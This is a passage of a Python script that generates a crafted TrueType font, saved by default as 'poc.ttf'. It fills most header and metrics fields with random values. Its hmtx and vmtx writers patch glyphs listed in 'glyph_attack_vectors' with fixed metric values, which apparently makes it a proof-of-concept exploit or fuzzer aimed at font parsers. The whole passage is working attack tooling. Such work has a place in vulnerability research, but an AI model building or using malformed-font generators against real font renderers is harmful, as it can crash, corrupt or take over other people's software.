            (3, 1, 0x409, 4, "Test Font 3"),
            (3, 1, 0x409, 6, "Test-Font-4"),
        ]

        record_data = b''
        string_data = b''

        for platform_id, enc_id, lang_id, name_id, string in name_records:

            encoder = None
            if platform_id == 3 and enc_id == 1:    # windows
                encoder = 'utf-16be'
            elif platform_id == 1 and enc_id == 0:  # mac
                encoder = "mac-roman"
            else: #unicode
                encoder = 'utf-16be'

            if not encoder :
                raise Exception("[x] enc unsupported")

            encoded = string.encode(encoder)

            record_data += struct.pack(
                '>6H', platform_id, enc_id, lang_id, name_id, len(encoded), len(string_data)
            )
            string_data += encoded

        table_data = struct.pack(
            '>HHH', 0, len(name_records), 6+len(record_data) 
        ) + record_data + string_data
        return [b'name', table_data]


    def write_os2_table():
        # Simplified <OS/2> table
        os2_format = '>Hh3H10hh10B4I4B3H3h2H2I2h3H'
        format_ = random.randint(4,5)

        BOLD_and_ITALIC = 1<<0 | 1<<5
        REGULAR = 1<<6
        fsSelection = BOLD_and_ITALIC

        data = [
            format_,
            random.randint(300, 500),  # Randomized xAvgCharWidth
            random.randint(1, 1000),  # Randomized usWeightClass
            random.randint(1, 9),  # Randomized usWidthClass
            random.randint(600, 700),  # Randomized fsType
            random.randint(600, 700),  # Randomized ySubscriptXSize
            random.randint(0, 100),  # Randomized ySubscriptYSize
            random.randint(100, 200),  # Randomized ySubscriptXOffset
            random.randint(100, 200),  # Randomized ySubscriptYOffset
            random.randint(600, 700),  # Randomized ySuperscriptXSize
            random.randint(0, 100),  # Randomized ySuperscriptYSize
            random.randint(400, 500),  # Randomized ySuperscriptXOffset
            random.randint(30, 50),  # Randomized ySuperscriptYOffset
            random.randint(200, 300),  # Randomized yStrikeoutSize
            random.randint(0, 50),  # Randomized yStrikeoutPosition
            random.randint(0x0000, 0x0001),  # Randomized sFamilyClass
            *[random.randint(0, 255) for _ in range(10)],  # Randomized panose
            random.randint(0, 100000),  # Randomized ulUnicodeRange1
            random.randint(0, 100000),  # Randomized ulUnicodeRange2
            random.randint(0, 100000),  # Randomized ulUnicodeRange3
            random.randint(0, 100000),  # Randomized ulUnicodeRange4
            *[random.randint(0, 255) for _ in range(4)],  # Randomized achVendID
            fsSelection,
            #random.randint(0, 255),  # Randomized usFirstCharIndex
            #random.randint(0, 255),  # Randomized usLastCharIndex
            0,      # usFirstCharIndex
            0x7f,   # usLastCharIndex
            random.randint(0, 500),  # Randomized sTypoAscender
            random.randint(-500, 0),  # Randomized sTypoDescender
            random.randint(0, 100),  # Randomized sTypoLineGap
            random.randint(0, 100),  # Randomized usWinAscent
            random.randint(0, 100),  # Randomized usWinDescent
            random.randint(0, 100000),  # Randomized ulCodePageRange1
            random.randint(0, 100000),  # Randomized ulCodePageRange2
            random.randint(0, 1000),  # Randomized sxHeight
            random.randint(0, 1000),  # Randomized sCapHeight
            random.randint(0, 255),  # Randomized usDefaultChar
            random.randint(0, 255),  # Randomized usBreakChar
            random.randint(0, 255),  # Randomized usMaxContext
        ]

        if format_ == 5:
            os2_format += "2H"
            data.append(r65535())
            data.append(r65535())

        table_data = struct.pack(os2_format, *data)
        return [b'OS/2', table_data]


    def write_metric_header():
        header_format = '>2h3hH11h'
        table_data = struct.pack(
            header_format,
            1    , # uint16 majorVersion
            0    , # uint16 minorVersion
            ri16_pos() , # FWORD   ascenderTypographic ascent—see remarks below.
            ri16()    , # FWORD   descenderTypographic descent—see remarks below.
            ri16_pos()    , # FWORD   lineGapTypographic line gap.
            r65535()  , # UFWORD  advanceWidthMaxMaximum advance width value in 'hmtx' table.
            ri16()    , # FWORD   minLeftSideBearingMinimum
            ri16()    , # FWORD   minRightSideBearingMinimum
            ri16()  , # FWORD   xMaxExtentMax(lsb + (xMax - xMin)).
            ri16()  , # int16   caretSlopeRiseUsed
            ri16()  , # int16   caretSlopeRun0 for vertical.
            ri16()  , # int16   caretOffset
            0    , # int16   (reserved)set to 0
            0    , # int16   (reserved)set to 0int16(reserved)set to 0
            0    , # int16   (reserved)set to 0
            0    , # int16   (reserved)set to 0
            0    , # int16   metricDataFormat0 for current format.
        )
        return table_data


    def write_metric_table(numOfLong_Metrics):
        global num_glyphs
        output = []
        for i in range(numOfLong_Metrics):
            output.append(struct.pack(">Hh", r16(), ri16()))
        #
        num__bs = num_glyphs - numOfLong_Metrics
        if num__bs:
            output.append(b"".join([struct.pack(">h", ri16()) for _ in range(num__bs)]))
        #
        return output


    def write_hhea_table():
        # parsed
        # <hhea> table for horizontal header
        global num_glyphs, numOfLongHorMetrics
        numOfLongHorMetrics = num_glyphs
        print(f"[hhea] hhea.numOfLongHorMetrics = {numOfLongHorMetrics}")
        table_data = write_metric_header()
        table_data += struct.pack(">H", numOfLongHorMetrics)
        #
        #
        return [b'hhea', table_data]


    def write_hmtx_table():
        # parsed
        # <hmtx> table for horizontal metrics
        global num_glyphs, numOfLongHorMetrics, glyph_attack_vectors
        output = write_metric_table(numOfLongHorMetrics)
        #
        # fix glyphIDs pp values
        # 

        for k in glyph_attack_vectors :
            output[cmap_records[k]] = struct.pack(">Hh", pp_width, pp_lsb)
        #
        return [b"hmtx", b"".join(output)]


    def write_loca_table():
        # parsed
        """
        Generate a loca table.
    
        :param num_glyphs: Number of glyphs in the font.
        :param offsets: List of offsets to the glyph data in the glyf table.
        :param use_long_format: If True, use long format (Offset32). If False, use short format (Offset16).
        :return: A tuple containing the table tag and binary data for the loca table.
        """
        global indexToLocFormat, num_glyphs, glyph_offsets
        #
        if indexToLocFormat:
            loca_format = f">{num_glyphs+1}I"
            loca_data = struct.pack(loca_format, *glyph_offsets)
        else:
            # Short format divides offsets by 2
            loca_format = f">{num_glyphs+1}H"
            loca_data = struct.pack(loca_format, *[x//2 for x in glyph_offsets])
        #
        return [b'loca', loca_data]


    def write_post_table(random_str=False):
        # parsed
        global num_glyphs
        string_data_len = num_glyphs
        max_strlen = random.randint(5,20)
        post_format = '>Ii2h5I' + 'h' + f"{num_glyphs}H" 
        version = 0x00020000
        italic_angle = ri16()
        underline_position = ri16()
        underline_thickness = ri16_pos()

        is_fixed_pitch = random.randint(0, 1)  # Randomized fixed pitch
        min_memory_usage42 = random.randint(10, 100)  # Randomized min memory usage
        max_memory_usage42 = random.randint(100, 300)  # Randomized max memory usage
        min_memory_usage1 = random.randint(10, 100)  # Randomized min memory usage
        max_memory_usage1 = random.randint(100, 300)  # Randomized max memory usage

        if random_str:
            strings = [
                    [random.randint(10, 255) for _ in range(random.randint(1, max_strlen))]
                    for _ in range(string_data_len)
            ]
            glyph_index = [random.randint(0, string_data_len)+258 for _ in range(num_glyphs)]
        else:
            l1 = lambda x: [ord(y) for y in list(x)]
            strings = [l1(".notdef"), l1("space"), l1("A"), l1("B")]
            strings += [l1(chr(k)) for k in list(cmap_records.keys())[3:]]
            glyph_index = [x+258 for x in range(num_glyphs)]

        string_data = []
        for str_ in strings:
            string_data.extend([len(str_)]+str_)

        post_format += f"{len(string_data)}B"

        table_data = struct.pack(
            post_format,
            version,
            italic_angle,
            underline_position,
            underline_thickness,
            is_fixed_pitch,
            min_memory_usage42,
            max_memory_usage42,
            min_memory_usage1,
            max_memory_usage1,
            num_glyphs,
            *glyph_index,
            *string_data,
        )
        return [b'post', table_data]


### table hint-related
## NOTE: since we disabled auto-hinting we need valid opcodes, so we use nope-like instruction

    def write_cvt_table(*args, **kwargs):
        # parsed
        #tab_len = r_even(256)
        #instr = b"".join([struct.pack(">h", ri16()) for _ in range(tab_len)])
        tab_len = 4
        nop_instr = 0
        instr = b"".join([struct.pack(">h", nop_instr) for _ in range(tab_len)])
        #
        return [b'cvt ', instr]

    def write_fpgm_table(*args, **kwargs):
        # parsed
        #tab_len = random.randint(1, 256)
        tab_len = 4
        nop_instr = 0
        instr = b"".join([struct.pack(">B", nop_instr) for _ in range(tab_len)])
        return [b'fpgm', instr]

    def write_prep_table(*args, **kwargs):
        # parsed
        #tab_len = random.randint(1, 256)
        tab_len = 4
        nop_instr = 0
        instr = b"".join([struct.pack(">B", nop_instr) for _ in range(tab_len)])
        return [b'prep', instr]


    def write_gasp_table(*args, **kwargs):
        # parsed
        version = 1 #random.randint(0,1)
        num_range = 3 #random.randint(1,10)
        tab_header = struct.pack(">HH", version, num_range)
        #
        ##tab_body = b""
        ##prev_max_ppem = 0
        ##for i in range(num_range-1):
        ##    max_ppem = random.randint(prev_max_ppem+1, u16-(num_range-i))
        ##    prev_max_ppem = max_ppem
        ##    behaviour = random.randint(0,0xf)
        ##    tab_body += struct.pack(">2H", max_ppem, behaviour)
        ##
        ##tab_body += b"\xff\xff"
        ##tab_body += b"\xff\xff"

        ## always do gray hinting even for small ppem, etc
        ## ppem ranges inserted
        ##   8
        ##   16
        ##   16 <= ppem
        flg = 0x0 # or 0x8
        tab_body = struct.pack(">6h", 8, flg, 16, flg, -1, flg)



        return [b'gasp', tab_header + tab_body]

    def write_hdmx_table(*args, **kwargs):
        # parsed
        global num_glyphs
        #
        version = 0
        num_records = random.randint(1, 10)

        #hack
        num_records = 1

        record_size = num_glyphs + 2
        pad = (4-(record_size % 4)) * b"\0"
        #
        if len(pad):
            record_size += len(pad)
        #
        output = b""
        prev_pixel_size = 0
        #
        for i in range(num_records):
            pixel_size = random.randint(prev_pixel_size+1, u8-(num_records-i))
            width = r8()
            output += \
                    struct.pack(">2B", pixel_size, width) +\
                    b"".join([struct.pack(">B", random.randint(0,255)) for _ in range(num_glyphs)]) +\
                    pad
        #
        return [b"hdmx", struct.pack(">HHI", version, num_records, record_size) + output]


    def write_vhea_table():
        # parsed
        # <hhea> table for horizontal header
        global num_glyphs, numOfLongVerMetrics
        numOfLongVerMetrics = num_glyphs
        print(f"[hhea] hhea.numOfLongVerMetrics = {numOfLongVerMetrics}")
        table_data = write_metric_header()
        table_data += struct.pack(">H", numOfLongVerMetrics)
        #
        # NOTA: FORSE il problema è che prende numberOfHMetrics, ma non sono sicuro
        #
        return [b'vhea', table_data]


    def write_vmtx_table():
        # parsed
        # <hmtx> table for horizontal metrics
        global num_glyphs, numOfLongVerMetrics, glyph_attack_vectors
        output = write_metric_table(numOfLongVerMetrics)
        #
        # fix glyphIDs pp values
        # 
        for k in glyph_attack_vectors :
            output[cmap_records[k]] = struct.pack(">Hh", pp_height, pp_tsb)
 
        #
        return [b"vmtx", b"".join(output)]



################## fvar

    def UserTuple():
        # parsed
        global axisCount
        return b"".join([struct.pack(">I",r32g()) for _ in range(axisCount)])

    def InstanceRecord():
        # parsed
        global instancesHavePostScriptNameID
        return struct.pack(">2H", 0,0) +\
            UserTuple() +\
            (struct.pack(">H", 0) if instancesHavePostScriptNameID else b"")

    def VariationAxisRecord():
        # parsed
        global num_glyphs, axisCount
        tags = struct.pack(">4B", r_tag(), r_tag(), r_tag(), r_tag())
        tags = b"wght"
        #
        maxValue_high = ri16()
        defaultValue_high = random.randint(i16_min, maxValue_high-1)
        minValue_high = random.randint(i16_min, defaultValue_high-1)
        maxValue = (maxValue_high << 16) | r16()
        defaultValue = (defaultValue_high << 16) | r16()
        minValue = (minValue_high << 16) | r16()
        #flags = random.randint(1,0xFFFE)
        #axisNameID = r65535()   
        flags = 0
        axisNameID = 0 # ref to name table
        #
        return tags +\
            struct.pack(">3i2H", minValue, defaultValue, maxValue, flags, axisNameID)

    def VariationAxisRecordArray():
        # parsed
        global axisCount, instanceCount
        return b"".join(
            [VariationAxisRecord() for _ in range(axisCount)] +\
            [InstanceRecord() for _ in range(instanceCount)]
        )

    def write_fvar_table(*args, **kwargs):
        # parsed
        # Passthru table
        global num_glyphs, axisCount, instanceCount
        global instancesHavePostScriptNameID
        global axisCount
        instancesHavePostScriptNameID = False
        majorv, minorv = 1, 0
        length = 16
        #axisCount = r10()
        #instanceCount = r10()
        axisCount = 1
        instanceCount = 1
        body = VariationAxisRecordArray()

        header = struct.pack(">8H", 
            majorv, minorv, length, 2, axisCount, 20,
            instanceCount, 
            axisCount*4 + (6 if instancesHavePostScriptNameID else 4)
        )
        return [b"fvar", header + body]



################## Main

    tab_supported_required = {
        'maxp' : write_maxp_table,
        'head' : write_head_table,
        'OS/2' : write_os2_table,
        'cmap' : write_cmap_table,
        'hhea' : write_hhea_table,
        'hmtx' : write_hmtx_table,
        'name' : write_name_table,
        'post' : write_post_table,
    }

    tab_supported_outline = {
        "TTF" : {
            "tag": b'\x00\x01\x00\x00',
            "dir": {
                'glyf' : write_glyf_table,
                'loca' : write_loca_table,
                'cvt ' : write_cvt_table,
                'fpgm' : write_fpgm_table,
            },
            "avoid": ['VORG'],
            "required": [],
        },
    }


    tab_supported_extra = {
        'gasp' : (mp_0_5, write_gasp_table),
        'hdmx' : (mp_0_9, write_hdmx_table),
        'vhea' : (mp_0_9, write_vhea_table),
        'vmtx' : (mp_0_9, write_vmtx_table),
    }
    

	# most of these font tabs are passthrou type
    tab_variable_font_tabs = {
        'fvar' : (mp_0_10, write_fvar_table),
    }

    tab_supported = tab_supported_required.copy()
    tab_supported.update(tab_supported_outline["TTF"]["dir"])
    tab_supported.update(tab_supported_extra)
    tab_supported.update(tab_variable_font_tabs)

    # required tables
    tables = [
        write_maxp_table(),
        write_head_table(),
        write_os2_table(),
        write_cmap_table(),
        write_hhea_table(),
        write_hmtx_table(),
        write_name_table(),
        write_post_table(),
    ]

    ## hack
    # add vertical stuff
    tables.append(write_vhea_table())
    tables.append(write_vmtx_table())

    ### hack
    ## add gasp, prep
    tables.append(write_gasp_table())
    tables.append(write_prep_table())

    output_file_tag = tab_supported_outline[output_file_format]["tag"]
    for k,func in tab_supported_outline[output_file_format]["dir"].items():
        tables.append(func())

    if not hdmx_insertable:
        del tab_supported_extra['hdmx']

    extra_tables = []

    # hack, force inserting fvar, gasp
    extra_tables.append(tab_variable_font_tabs['fvar'][1])

    for ff in extra_tables:
        tables.append(ff())

    with open(output_path, "wb") as font_file:
        sfnt_header = write_sfnt_header(len(tables))
        sfnt_header = d_round4(sfnt_header)
        table_directory = write_table_directory(len(sfnt_header), tables)
        font_file.write(sfnt_header)
        font_file.write(table_directory)
        for tag, data in tables:
            font_file.write(data)


file_output = "poc.ttf"
if len(sys.argv) > 1:
    file_output = sys.argv[1]

create_font(file_output)